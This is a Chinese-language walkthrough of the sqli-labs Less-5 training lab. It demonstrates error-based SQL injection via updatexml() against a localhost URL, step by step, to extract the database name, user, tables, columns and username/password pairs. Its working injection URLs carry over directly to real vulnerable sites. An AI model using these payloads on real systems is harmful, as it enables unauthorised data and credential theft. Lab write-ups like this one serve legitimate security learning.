sqli-labs(Less-5) updatexml闯关

updatexml() - Xpath类型函数

sqli-labs(Less-5) updatexml闯关_第1张图片
1. 确定注入点闭合方式
sqli-labs(Less-5) updatexml闯关_第2张图片
sqli-labs(Less-5) updatexml闯关_第3张图片
确认为字符型注入

2. 爆出当前数据库的库名

http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select database())),'~') --+

sqli-labs(Less-5) updatexml闯关_第4张图片
3. 爆出当前用户名

http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select user())),'~') --+

sqli-labs(Less-5) updatexml闯关_第5张图片
4. 爆出MySQL 版本
sqli-labs(Less-5) updatexml闯关_第6张图片
5. 查询当前数据库的表名

http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),'~') --+

sqli-labs(Less-5) updatexml闯关_第7张图片
注意:报错注入不能使用group_concat()函数直接将所有信息获取出来,只能一条一条获取,而且必须使用limit 0,1控制
通过limit 即可遍历出所有的表名 (emails,referers,uagents,users)
6. 查询users表的列名

http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),'~') --+

sqli-labs(Less-5) updatexml闯关_第8张图片
通过limit 即可遍历出所有的列名 (id,username,password)
7. 爆出用户信息

http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select concat(username,password) from users limit 0,1)),'~') --+

sqli-labs(Less-5) updatexml闯关_第9张图片
可在concat中添加分隔符 更方便数据的获取

http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select concat(username,'~',password) from users limit 0,1)),'~') --+

sqli-labs(Less-5) updatexml闯关_第10张图片

你可能感兴趣的:(sqli-labs,安全,网络安全)